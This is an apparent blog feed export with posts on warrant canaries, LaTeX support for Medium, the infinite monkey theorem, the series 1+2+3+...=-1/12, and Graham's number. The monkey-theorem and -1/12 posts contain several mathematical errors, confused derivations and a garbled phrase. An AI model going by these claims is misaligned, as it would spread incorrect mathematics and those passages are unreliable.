<a href="https://www.eff.org/deeplinks/2013/03/depth-judge-illstons-remarkable-order-striking-down-nsl-statute?ref=joshkerr.com">ruled</a> that the combination of NSLs and indefinite gag orders is unconstitutional, though legal battles continue. In 2014, the Inspector General <a href="https://oig.justice.gov/reports/2014/s1408.pdf?ref=joshkerr.com">investigated</a> the FBI&apos;s use of NSLs and found instances of misuse, recommending better oversight.</p><p>So how do you warn users that their data has been compromised when you&apos;re legally forbidden from speaking?</p><p>You stop saying you <em>haven&apos;t</em> been compromised.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/48b0c-1whtfhhbcr43_paeksmtcxq-jpeg.jpg" class="kg-image" alt="How canaries protect us from the snooping US Government" loading="lazy"><figcaption>The original early warning system&#x2014;a canary in a coal mine</figcaption></figure><h2 id="how-warrant-canaries-work">How Warrant Canaries Work</h2><p>The idea was first proposed by Steven Schear on the cypherpunks mailing list in the early 2000s, and one of the earliest real-world examples appeared in a Vermont library in 2005. The sign simply read: <em>&quot;The FBI has not been here.&quot;</em> If the sign came down, patrons would know the FBI <em>had</em> been there.<sup>[2]</sup></p><p>A modern warrant canary is a public statement&#x2014;usually on a company&apos;s website or in a transparency report&#x2014;that declares:</p><ol><li>We have <strong>not</strong> received a National Security Letter or secret court order as of [specific date]</li><li>This statement will be updated on a predictable schedule (e.g., quarterly)</li></ol><p>The logic is beautifully simple: while the government can compel you to stay silent, they cannot (in theory) compel you to <em>lie</em>. If a company receives an NSL, they simply stop updating the canary. The absence of the statement speaks volumes.</p><p>As EFF attorney Nate Cardozo put it: &quot;There&apos;s no precedent that could compel Apple to lie.&quot;<sup>[3]</sup></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/aa8fc-1svcf3lp5x9cs2u1czxul9w.png" class="kg-image" alt="How canaries protect us from the snooping US Government" loading="lazy"><figcaption>An example of a warrant canary from Medium&apos;s transparency report</figcaption></figure><h2 id="apple-and-the-corporate-canary">Apple and the Corporate Canary</h2><p>In November 2013, Apple became the first major tech company to implement a warrant canary in their transparency report. They stated:</p><blockquote>Apple has never received an order under Section 215 of the USA Patriot Act. We would expect to challenge such an order if served on us.</blockquote><p>The EFF praised Apple for &quot;getting warrant canaries right.&quot;<sup>[4]</sup> But here&apos;s where it gets interesting: by September 2014, that statement had quietly disappeared from Apple&apos;s transparency reports. Apple never confirmed receiving an NSL&#x2014;they legally couldn&apos;t&#x2014;but the missing canary told its own story.</p><p>This is exactly how warrant canaries are supposed to work. The silence <em>is</em> the message.</p><h2 id="when-canaries-die-real-world-examples">When Canaries Die: Real-World Examples</h2><h3 id="reddit-2016">Reddit (2016)</h3><p>In March 2016, Reddit <a href="http://www.reuters.com/article/us-usa-cyber-reddit-idUSKCN0WX2YF?ref=joshkerr.com">removed</a> their warrant canary from their annual transparency report. When asked about it, Reddit&apos;s general counsel gave a telling non-answer: &quot;I&apos;ve been advised not to say anything one way or the other.&quot; The canary had done its job.</p><h3 id="riseupnet-2016">Riseup.net (2016)</h3><p>The encrypted email service Riseup.net failed to update their warrant <a href="https://riseup.net/en/canary?ref=joshkerr.com">canary</a> on schedule. Their official Twitter went quiet. The community assumed the worst&#x2014;and they were right. Riseup later confirmed they had received two FBI warrants with gag orders, though they emphasized they had not been compromised by an NSL specifically.<sup>[5]</sup></p><h3 id="ethereum-foundation-2024">Ethereum Foundation (2024)</h3><p>In February 2024, the Ethereum Foundation removed their warrant canary, with the commit message citing a &quot;voluntary enquiry from a state authority that included a requirement for confidentiality.&quot;<sup>[6]</sup> The canary concept continues to prove its value.</p><h2 id="the-truecrypt-mystery-a-canary-in-disguise">The TrueCrypt Mystery: A Canary in Disguise?</h2><p>One of the most intriguing potential warrant canaries in history involves TrueCrypt, the popular open-source encryption software that had been downloaded over 30 million times.</p><p>In May 2014, the TrueCrypt website suddenly displayed this warning:</p><blockquote>WARNING: Using TrueCrypt is not secure as it may contain unfixed security issues</blockquote><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/26df3-11sd-bs9csdv1bkqyvijnka.png" class="kg-image" alt="How canaries protect us from the snooping US Government" loading="lazy"><figcaption>The cryptic TrueCrypt shutdown message that spawned countless theories</figcaption></figure><p>The anonymous developers recommended users switch to Microsoft BitLocker&#x2014;a bizarre suggestion, since TrueCrypt users specifically <em>didn&apos;t</em> trust Microsoft. The project was dead, effective immediately.</p><p>Many speculated this was a warrant canary in action. The theory: the developers received an NSL demanding they insert a backdoor, and rather than comply, they killed the project entirely&#x2014;warning users without violating their gag order.</p><p>Some even noticed a possible hidden message:</p><blockquote>&quot;Using TrueCrypt is <strong>N</strong>ot <strong>S</strong>ecure <strong>A</strong>s it may contain unfixed security issues&quot;</blockquote><p>The first letters spell <strong>NSA</strong>. Coincidence? Maybe.</p><p><strong>Plot twist:</strong> A comprehensive security audit completed in April 2015 found <em>no evidence of deliberate backdoors</em> in TrueCrypt.<sup>[7]</sup> The developers&apos; motivations remain a mystery. But the incident perfectly illustrates the paranoid, high-stakes world that warrant canaries inhabit&#x2014;where silence speaks, and even a software project&apos;s sudden death can be a message.</p><h2 id="do-warrant-canaries-actually-work">Do Warrant Canaries Actually Work?</h2><p>The legal status of warrant canaries remains untested in court. The theory is sound&#x2014;the government can compel silence but not lies&#x2014;but no case has definitively established whether removing a canary violates a gag order.</p><p>In 2015, a coalition including the EFF, Freedom of the Press Foundation, and NYU Law created <strong>Canary Watch</strong> to track warrant canaries across the internet. By 2016, they shut it down, declaring the project had &quot;achieved its goals&quot; of raising awareness about unconstitutional surveillance.<sup>[8]</sup></p><p>Whether or not warrant canaries hold up legally, they&apos;ve already succeeded in one crucial way: they&apos;ve made secret surveillance <em>visible</em>. Every dead canary is a reminder that the government is watching&#x2014;and that companies are fighting back the only way they can.</p><hr><h3 id="sources">Sources</h3><p>[1] <a href="https://www.eff.org/issues/national-security-letters?ref=joshkerr.com">EFF: National Security Letters</a></p><p>[2] <a href="https://www.cloudflare.com/learning/privacy/what-is-warrant-canary/?ref=joshkerr.com">Cloudflare: What is a Warrant Canary?</a></p><p>[3] <a href="https://www.eff.org/deeplinks/2014/04/warrant-canary-faq?ref=joshkerr.com">EFF: Warrant Canary FAQ</a></p><p>[4] <a href="https://www.eff.org/deeplinks/2013/11/apples-first-transparency-report-gets-warrant-canaries-right?ref=joshkerr.com">EFF: Apple&apos;s First Transparency Report Gets Warrant Canaries Right</a></p><p>[5] <a href="https://riseup.net/en/about-us/press/canary-statement?ref=joshkerr.com">Riseup: Canary Statement</a></p><p>[6] <a href="https://en.wikipedia.org/wiki/Warrant_canary?ref=joshkerr.com">Wikipedia: Warrant Canary</a></p><p>[7] <a href="https://thehackernews.com/2015/04/truecrypt-security-audit-services.html?ref=joshkerr.com">The Hacker News: TrueCrypt Security Audit Concludes No NSA Backdoor</a></p><p>[8] <a href="https://canarywatch.org/faq.html?ref=joshkerr.com">Canary Watch FAQ</a></p>]]></content:encoded></item><item><title><![CDATA[Medium needs to support Latex for math and science]]></title><description><![CDATA[<!--kg-card-begin: html--><div class="cover bg-center absolute absolute--fill" style="background-color:;background-image:linear-gradient( );"></div><!--kg-card-end: html--><!--kg-card-begin: html--><div class="absolute absolute--fill" style="background-color:;background-image:linear-gradient( );opacity:1;"></div><!--kg-card-end: html--><!--kg-card-begin: html--><div class="relative caxton-columns caxton-grid-block" style="padding-top:0;padding-left:0;padding-bottom:0;padding-right:0;grid-template-columns:repeat(12, 1fr)" data-tablet-css="padding-left:em;padding-right:em;" data-mobile-css="padding-left:em;padding-right:em;"><!-- wp:caxton/section {"Inner Padding top":1,"Inner Padding bottom":1,"Inner Padding left":1,"Inner Padding right":1,"Inner Padding left/right tablet":1,"Inner Padding left/right mobile":1,"Inner Padding unit":"px","Background image":"","Background image position":"","Background parallax":"","Background color":"","Gradient color":"","Gradient type":"linear-gradient( ","Background colors opacity":"1","Grid area":"span 1/span 12"} -->
<!--kg-card-begin: html--><div class="wp-block-caxton-section relative" style="grid-area:span 1/span 12"><div class="absolute absolute--fill"><!--kg-card-begin: html--><div class="cover bg-center absolute absolute--fill" style="background-color:;background-image:linear-gradient( );"></div><!--kg-card-end: html--><!--kg-card-begin: html--><div class="absolute absolute--fill" style="background-color:;background-image:linear-gradient( );opacity:1;"></div><!--kg-card-end: html--></div><!--kg-card-begin: html--><div class="relative caxton-section-block" style="padding-top:5px;padding-left:5px;padding-bottom:5px;padding-right:5px" data-mobile-css="padding-left:1em;padding-right:1em;" data-tablet-css="padding-left:1em;padding-right:1em;"><!-- wp:paragraph -->
<p>Medium is a great story telling platform but it falls short for publishing any serious science and math related articles. The big issue with this type of content on Medium is that it relies on math which can&#x2019;t be easily rendered on Medium. Most writing platforms struggle with</p></div></div></div>]]></description><link>https://joshkerr.com/medium-needs-to-support-latex-for-math-and-science/</link><guid isPermaLink="false">696c5f62e35083000187318e</guid><category><![CDATA[Uncategorized]]></category><category><![CDATA[Mathematics]]></category><category><![CDATA[Medium]]></category><category><![CDATA[Science]]></category><category><![CDATA[Tech]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Thu, 27 Oct 2016 16:57:44 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/5296471-1280_696935130-complex-formulas-on-whiteboard.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: html--><div class="cover bg-center absolute absolute--fill" style="background-color:;background-image:linear-gradient( );"></div><!--kg-card-end: html--><!--kg-card-begin: html--><div class="absolute absolute--fill" style="background-color:;background-image:linear-gradient( );opacity:1;"></div><!--kg-card-end: html--><!--kg-card-begin: html--><div class="relative caxton-columns caxton-grid-block" style="padding-top:0;padding-left:0;padding-bottom:0;padding-right:0;grid-template-columns:repeat(12, 1fr)" data-tablet-css="padding-left:em;padding-right:em;" data-mobile-css="padding-left:em;padding-right:em;"><!-- wp:caxton/section {"Inner Padding top":1,"Inner Padding bottom":1,"Inner Padding left":1,"Inner Padding right":1,"Inner Padding left/right tablet":1,"Inner Padding left/right mobile":1,"Inner Padding unit":"px","Background image":"","Background image position":"","Background parallax":"","Background color":"","Gradient color":"","Gradient type":"linear-gradient( ","Background colors opacity":"1","Grid area":"span 1/span 12"} -->
<!--kg-card-begin: html--><div class="wp-block-caxton-section relative" style="grid-area:span 1/span 12"><div class="absolute absolute--fill"><!--kg-card-begin: html--><div class="cover bg-center absolute absolute--fill" style="background-color:;background-image:linear-gradient( );"></div><!--kg-card-end: html--><!--kg-card-begin: html--><div class="absolute absolute--fill" style="background-color:;background-image:linear-gradient( );opacity:1;"></div><!--kg-card-end: html--></div><!--kg-card-begin: html--><div class="relative caxton-section-block" style="padding-top:5px;padding-left:5px;padding-bottom:5px;padding-right:5px" data-mobile-css="padding-left:1em;padding-right:1em;" data-tablet-css="padding-left:1em;padding-right:1em;"><!-- wp:paragraph -->
<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/5296471-1280_696935130-complex-formulas-on-whiteboard.jpg" alt="Medium needs to support Latex for math and science"><p>Medium is a great story telling platform but it falls short for publishing any serious science and math related articles. The big issue with this type of content on Medium is that it relies on math which can&#x2019;t be easily rendered on Medium. Most writing platforms struggle with math because the formulas use precision formatting that can&#x2019;t be done in a simple editor. The solution to this problem is a system called Latex.</p>
<!-- /wp:paragraph --></div><!--kg-card-end: html--></div><!--kg-card-end: html-->
<!-- /wp:caxton/section --></div><!--kg-card-end: html--><p>Latex is document preparation system designed to support precision typesetting. It is most often used for medium-to-large scientific documents but it does support pretty much any form of publishing. In laymen&#x2019;s terms, Latex is a simple scripting language that you can run through a Latex parser to generate great looking high quality typesetting. If for example you want to create a nice looking mathematical formula like this:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/50430-1v7ep62ihb_nx5tiqeo7bqg.png" class="kg-image" alt="Medium needs to support Latex for math and science" loading="lazy"><figcaption>Screenshot image of a formula generated in&#xA0;Latex</figcaption></figure><p>You would simply send the following text into a latex parser:</p><p><em>f_m(n) &gt; 2uparrow^{m-1}n</em></p><p>The parser would output the nicely formatted formula and you would be good to go.</p><!--kg-card-begin: html--><p style="text-align:center">$$f_m(n) &gt; 2 \uparrow^{m-1}n$$</p><!--kg-card-end: html--><p>The nice thing about using Latex is that the syntax is standardized across many platforms. It is also very popular among the science and math communities. If you publish anything scientific or mathematical you probably already use Latex. Even Wikipedia uses Latex to format formulas for its pages.</p><p>Adding Latex support to Medium should be trivial. Obviously there would be some work involved but it wouldn&#x2019;t take up too many resources. There are popular open source projects that make it very easy to add support to an existing website. One of those examples is <a href="https://www.mathjax.org/?ref=joshkerr.com">MathJax</a>.</p><p>MathJax is a high quality javascript project that supports several different typesetting languages (including Latex) and outputs HTML+CSS, SVG and MathML. It runs on all browsers and the resulting output looks great because it scales to fit the surrounding text. It also takes advantage of web fonts to create very clean and crisp text similar to what you already see on Medium.</p><p>You can see some examples of Latex on my math blog. Here is an <a href="https://joshkerr.com/2016/09/19/who-can-name-the-biggest-number-contest/" rel="noreferrer noopener">example</a> of an article I wrote on <a href="http://www.bum.io/grahams-number-a-massive-number/?ref=joshkerr.com">Graham&#x2019;s number</a> which is famous for being one of the biggest numbers ever used in a proof. But I digress.</p><p>Medium delivers content to a lot of people so it needs to be fast and scalable. MathJax fits this requirement because it too is scalable. It runs client side in the browser so it won&#x2019;t consume expensive cloud CPU cycles. It also doesn&#x2019;t need to be delivered to the browser on every page load. Once a user has it, it can be reused until Medium decides to update it.</p><p>MathJax is supported by many scientific organizations including IEEE, American Mathematical Society, APS Physics, Mathematical Association of America, American Institute of Physics, Oxford University Press, and the list goes on. The project is here to stay and will likely continue to be supported way into the future.</p><p>I&#x2019;d like to see Medium take math seriously and make it look as good as the rest of their content. The Medium platform adds a lot of value for publishers including those who want to write scientific and mathematical articles. I&#x2019;d love to see Latex support adopted in a future version.</p>]]></content:encoded></item><item><title><![CDATA[The Infinite Monkey Theorem]]></title><description><![CDATA[<p>The infinite monkey theorem is a <a href="http://www.theinfinitemonkeytheorem.com/?ref=joshkerr.com">bar</a> in Austin, TX, but it is also a very cool mathematical theorem that deals with very big numbers. This article is about the theorem which has become very popular in recent times. The theorem as I understand it is as follows:</p>
<blockquote>
<p>A monkey</p></blockquote>]]></description><link>https://joshkerr.com/the-infinite-monkey-theorem/</link><guid isPermaLink="false">59936c0f0ea3d50018a8b34f</guid><category><![CDATA[big numbers]]></category><category><![CDATA[math]]></category><category><![CDATA[probabilities]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Tue, 25 Oct 2016 21:50:37 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2018/05/nicolas-picard-205569-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2018/05/nicolas-picard-205569-unsplash.jpg" alt="The Infinite Monkey Theorem"><p>The infinite monkey theorem is a <a href="http://www.theinfinitemonkeytheorem.com/?ref=joshkerr.com">bar</a> in Austin, TX, but it is also a very cool mathematical theorem that deals with very big numbers. This article is about the theorem which has become very popular in recent times. The theorem as I understand it is as follows:</p>
<blockquote>
<p>A monkey hitting keys at random on a typewriter style keyboard for an infinite amount of time will almost surely type the complete works of William Shakespeare.</p>
</blockquote>
<p>There are many variants of this theorem which can include pretty much any target text from a single sentence to an entire library. The reasoning behind this supposition is that given infinite time, random input should be able to produce all possible output.</p>
<p>The infinite monkey theorem is important and has been used in software development and testing, commodity computing, project management and SETI to support a greater allocation of resources. The theorem is also used to illustrate basic concepts in probability <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>.</p>
<p><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/1200.jpg" alt="The Infinite Monkey Theorem" loading="lazy"></p>
<p>The theorem also finds itself in popular culture including the TV cartoon the Simpsons. In one [episode](Last Exit to Springfield) there is a scene where Mr. Burns brings Homer to his mansion. One of his rooms has a thousand monkeys typing on typewriters. One of the monkeys writes a slightly incorrect line from Charles Dickens: &quot;It was the best of times, it was the blurst of times.&quot;<sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup></p>
<p>In 2011 programmer <a href="http://www.jesse-anderson.com/2011/10/a-few-million-monkeys-randomly-recreate-every-work-of-shakespeare/?ref=joshkerr.com">Jesse Anderson</a> decided to try to recreate this experiment using virtual monkeys that output gibberish. The algorithm would mimic monkey&apos;s banging on a keyboard. He wrote a computer program to see if the monkey&apos;s gibberish could match every work of Shakespeare. If there is a match from the gibberish to any portion of Shakespeare then the program will mark it matched and continue on. This isn&apos;t replicating the theorem exactly, but it is an interesting variation on it.</p>
<p>Jesse&apos;s program ran in the cloud on Amazon EC2 instances so he could create computational scale. He was able to start the project and match all 38 works of Shakespeare in 1.5 months. Over the course of the project, 7.5 trillion character groups were generated and checked out of 5.5 trillion possible combinations. <sup class="footnote-ref"><a href="#fn2" id="fnref2:1">[2:1]</a></sup> There are some other interesting statistics to come out of this project:</p>
<ul>
<li>monkeys ran 180,000,000,000 character groups per day.</li>
<li>average iteration lasted 30 minutes and ran 5,000,000,000 character groups.</li>
<li>monkeys found 1,982,507 distinct character groups and those character groups were found 3,788,175 times for a ratio of 1.8718555.</li>
</ul>
<h2 id="proof">Proof</h2>
<p>The proof of the infinite monkey theorem is pretty straight forward. If two events are statistically independent, then the probability of both of them happening equals the product of each one happening independently.</p>
<p>So if we wanted to show the probability of the monkey&apos;s typing the word &quot;banana&quot; it would be the probability of typing the letter <em>b</em> which is \(\frac{1}{50}\) multiplied by the probability of typing an <em>a</em> which is \(\frac{1}{50}\) and...</p>
<p>$$ \frac{1}{50} \times<br>
\frac{1}{50} \times<br>
\frac{1}{50} \times<br>
\frac{1}{50} \times<br>
\frac{1}{50} \times<br>
\frac{1}{50} = (\frac{1}{50})^6 = \frac{1}{15,625,000 ,000}<br>
$$</p>
<p>One in 15 billion sounds like a big number but it isn&apos;t zero so given an infinite amount of time you can be sure that you can eventually hit it. The formula for hitting any specific character sequence on a keyboard is:</p>
<p>$$<br>
X_n = \big(\frac{1}{50} \big)^n<br>
$$</p>
<p>As \(n\) grows, \(X_n\) grows smaller. For an \(n\) of a million, \(X_n\) is roughly 0.9999, but for an \(n\) of 10 billion, \(X_n\) is roughly 0.53. As \(n\) approaches infinity, \(X_n\) approaches zero. That is, by making \(n\) large enough, \(X_n\) can be made as small as you desire and the chances of hitting your phrase approaches 100%.</p>
<h2 id="probabilities">Probabilities</h2>
<p>Ignoring punctuation, spacing and capitalization, a monkey typing letters uniformly at random has a chance of one in 26 of typing the first letter in Hamlet. It has a chance of one in \(676\) \( (26 \times 26) \) of typing the first two letters. Because the probability shrinks exponentially, at 20 letters it already has a chance of one in \(26^{20} = 19,928,148,895,209,409,152,340,197,376 \). In the case of the entire text of Hamlet, the probabilities are vanishingly small.<sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> Thus there is a probability of one in \( 3.4 \times 10^{183,946}\) to get the text right on the first try. The math for that probability is based on 130,000 characters in Hamlet. There are \(n=26\) characters on a keyboard. Using our formula from earlier we have \(26^{130,000}\). If we take the logarithm of each side we end up with:</p>
<p>$$<br>
log_{10}(n) = 130000 \times log_{10}(26) = 183946.5352<br>
$$</p>
<p>Therefore \(n = 10^{0.5352} \times 10^{183,946} = 3.429 \times 10^{183,946}\).</p>
<p>To get an idea of the magnitude of this probability, lets assume that we have a monkey on every atom in the known Universe. Those monkeys will type away on their keyboards from the big bang until the known end of the Universe.</p>
<p>There are \(10^{80}\) protons in the observable Universe. Assume the monkeys work for \(10^{38}\) years. Assuming the monkeys work non-stop at \(400\) words per minute, that&apos;s about \(2000\) characters per minute. There are \(500,000\) minutes in a year which means each monkey types half a billion characters per year. This gives the totafWhat il letters typed:</p>
<p>$$<br>
10^{80} \times 10^{38} \times 10^9 = 10^{127}<br>
$$</p>
<p>Even with that many monkeys over that very large period of time, they wouldn&apos;t likely type Hamlet. No, they will need a far greater amount of time. They will need more than \(360,000\) orders of magnitude more just to have a \(1\) in \(10^{500}\) chance. Or to put it another way, to have a one in a trillion chance to type out Hamlet we would need another \(10^{360,641}\) Universes full of monkeys. \(10^{127}\) might as well be zero compared to \(10^{360,641}\).</p>
<p>One of the more interesting features of this theorem is the magnitude of infinity. We often talk about infinity but it is really hard to gauge how big it is. The infinite monkey theorem shows that even very tiny probabilities are no match for the awesome size and power of infinity.</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>WhatIs - <a href="http://whatis.techtarget.com/definition/Infinite-Monkey-Theorem?ref=joshkerr.com">infinite monkey theorem</a> <a href="#fnref1" class="footnote-backref">&#x21A9;&#xFE0E;</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Jesse Anderson&apos;s <a href="http://www.jesse-anderson.com/2011/09/a-few-million-monkeys-randomly-recreate-shakespeare/?ref=joshkerr.com">Million Monkeys Blog Article</a> <a href="#fnref2" class="footnote-backref">&#x21A9;&#xFE0E;</a> <a href="#fnref2:1" class="footnote-backref">&#x21A9;&#xFE0E;</a></p>
</li>
<li id="fn3" class="footnote-item"><p>Wikipedia article: <a href="https://en.wikipedia.org/wiki/Infinite_monkey_theorem?ref=joshkerr.com">Infinite Monkey Theorem</a> <a href="#fnref3" class="footnote-backref">&#x21A9;&#xFE0E;</a></p>
</li>
</ol>
</section>
]]></content:encoded></item><item><title><![CDATA[1+2+3+4+... = -1/12]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>This is a remarkable and hard to believe consequence in mathematics. If you were to sum the natural numbers all the way to infinity, you would get \(-\frac{1}{12}\).</p>
<p>$$ 1+2+3+4+5+6... = -\frac{1}{12} $$</p>
<p>This is just insane. It makes no sense that</p>]]></description><link>https://joshkerr.com/1-2-3-4-1-12/</link><guid isPermaLink="false">59936c0f0ea3d50018a8b34e</guid><category><![CDATA[odd]]></category><category><![CDATA[math]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Mon, 24 Oct 2016 15:04:25 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2017/11/javier-quesada-222120.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2017/11/javier-quesada-222120.jpg" alt="1+2+3+4+... = -1/12"><p>This is a remarkable and hard to believe consequence in mathematics. If you were to sum the natural numbers all the way to infinity, you would get \(-\frac{1}{12}\).</p>
<p>$$ 1+2+3+4+5+6... = -\frac{1}{12} $$</p>
<p>This is just insane. It makes no sense that a series with an obviously increasing sum would end up being a small negative number.</p>
<p>If you were to take the \(nth\) partial sum of the sequence you would use this formula:</p>
<p>$$ \sum_{n}^{k=1} k=\frac{n(n+1)}{2}, $$</p>
<p>The \(nth\) partial sum increases without bound as \(n\) goes to infinity. This is because the sequence of partial sums fails to converge to a finite limit. The series does not have a limit<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>.</p>
<p>One can however manipulate the the value to yield a number of interesting results. Some of these have applications in fields such as complex analysis, quantum field theory and string theory.</p>
<h6 id="proof">Proof</h6>
<p>I recommend watching the Numberphile video which shows the proof for this. I won&apos;t do it justice.</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/E-d9mgo8FGk" frameborder="0" allowfullscreen></iframe>
<p>Here is my attempt at explaining it. We want to solve for this:</p>
<p>$$ S = 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + ... = ? $$</p>
<p>We are going to do this by relating it to another alternating series:</p>
<p>$$ 1 - 2 + 3 - 4 + 5 - 6 + 7 - 8 + ... = $$</p>
<p>This one is easier to work with and there are tricks for getting values for this divergent series.</p>
<p>We can do this by subtracting:</p>
<p>$$ 4S_2 = 4 + 8 + 12 + 16 ...$$</p>
<p>We also know that this alternating series:</p>
<p>$$ -3S_2 = 1 - 2 + 3 - 4 + 5 - 6 + 7 - 8 + ... $$</p>
<p>takes on the form:</p>
<p>$$ \frac{1}{(1+x)^2} $$</p>
<p>Where \(x=1\). So we can rewrite it to look like this:</p>
<p>$$ -3S_2 = 1 - 2 + 3 - 4 + 5 - 6 + 7 - 8 + ... = \frac{1}{(1+1)^2} = \frac{1}{4} $$</p>
<p>Now if we divide both sides by -3 we get \(-\frac{1}{12}\).</p>
<p>The fact that a clearly growing series can somehow end up as a negative number is just beyond intuition. The explanation for this lack of logic is that we don&apos;t really fully understand infinity. We know that if we stop the series at any point and measure it, it will likely be a very big number, but what happens at infinity? We just don&apos;t know.</p>
<p>Another way to think about it is that when you include all of the terms, all the way out to infinity, the sum truly equals \(-\frac{1}{12}\).</p>
<h5 id="letsgraphit">Let&apos;s graph it</h5>
<p>I plotted this sum on Wolfram Alpha to see what it looks like:</p>
<p><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/Screen-Shot-2016-10-19-at-12.24.57-PM.png" alt="1+2+3+4+... = -1/12" loading="lazy"></p>
<p>As you can see the sum <a href="https://www.wolframalpha.com/input/?i=1+%2B+2+%2B+3+%2B+4+%2B+5+%2B+...&amp;ref=joshkerr.com">clearly</a> goes towards infinity. So how are we getting this \(-\frac{1}{12}\)? What if we look at the negative values of \(n\) too? (Click here to see it on <a href="https://www.wolframalpha.com/input/?i=1%2F2x(1%2Bx)+x+%3D+-4+to+4&amp;ref=joshkerr.com">Wolfram Alpha</a></p>
<p><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/Screen-Shot-2016-10-19-at-1.16.06-PM.png" alt="1+2+3+4+... = -1/12" loading="lazy"></p>
<p>Do you see that portion of the graph that dips below the line? As both sides of the series continue to infinity that small portion of the graph below the line remains small. If you use calculus to determine its size:</p>
<p><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/Screen-Shot-2016-10-19-at-12.36.49-PM.png" alt="1+2+3+4+... = -1/12" loading="lazy"></p>
<p>And there we go. The area under the curve is equal to \(-\frac{1}{12}\). That would help explain the result<sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup> but it still doesn&apos;t make any sense.</p>
<h5 id="inphysics">In Physics</h5>
<p>In string theory with the study of bosons scientists look to compute the energy levels of a string. Strings vibrate and create harmonics which can be measured using this divergent series:</p>
<blockquote>
<p>If the fundamental oscillation frequency is \(\omega\) then the energy in an oscillator contributing to the \(nth\) harmonic is \(\frac{nh\omega}{1}\). So using the divergent series, the sum over all harmonics is:</p>
</blockquote>
<p>$$-\frac{h\omega(D-2)}{24}$$</p>
<p>It is also seen in computing the Casimir force for a scalar field in one dimension. I&apos;m not familiar with how exactly this works, but the result is a constant of \(-\frac{1}{12}\).</p>
<p>This is just one of many divergent series that are useful in science. It is also a great example of a non-intuitive result in math. I still can&apos;t fathom how this trickery works. An infinitely increasing sum should be infinitely increasing right? So how can we assign a value to it?</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Wikipedia <a href="https://en.wikipedia.org/wiki/1_%2B_2_%2B_3_%2B_4_%2B_%E2%8B%AF?ref=joshkerr.com">page</a> on the sum <a href="#fnref1" class="footnote-backref">&#x21A9;&#xFE0E;</a></p>
</li>
<li id="fn2" class="footnote-item"><p><a href="http://physicsbuzz.physicscentral.com/2014/01/redux-does-1234-112-absolutely-not.html?ref=joshkerr.com">Physics Central</a> <a href="#fnref2" class="footnote-backref">&#x21A9;&#xFE0E;</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Graham's number - big numbers blow my mind!]]></title><description><![CDATA[Explore Graham's number—a number so large that memorizing its digits would collapse your brain into a black hole. Learn how it's built using Knuth's up-arrow notation.]]></description><link>https://joshkerr.com/grahams-number-a-massive-number/</link><guid isPermaLink="false">59936c0f0ea3d50018a8b34a</guid><category><![CDATA[math]]></category><category><![CDATA[big numbers]]></category><category><![CDATA[universe]]></category><category><![CDATA[Mathematics]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Sun, 09 Oct 2016 19:22:17 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2017/11/tim-trad-227110.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2017/11/tim-trad-227110.jpg" alt="Graham&apos;s number - big numbers blow my mind!"><p>What&apos;s the biggest number you can think of? A million? A billion? The number of atoms in the observable universe (roughly \(10^{80}\))? Whatever you&apos;re imagining, I promise you it&apos;s basically zero compared to <strong>Graham&apos;s number</strong>&#x2014;a number so incomprehensibly vast that it broke mathematics&apos; ability to write things down.</p><p>For a while, Graham&apos;s number held the Guinness World Record as the largest number ever used in a serious mathematical proof. That title has since been claimed by even more mind-melting numbers (more on that later), but Graham&apos;s number remains legendary&#x2014;a monument to just how weird infinity-adjacent mathematics can get.</p><h4 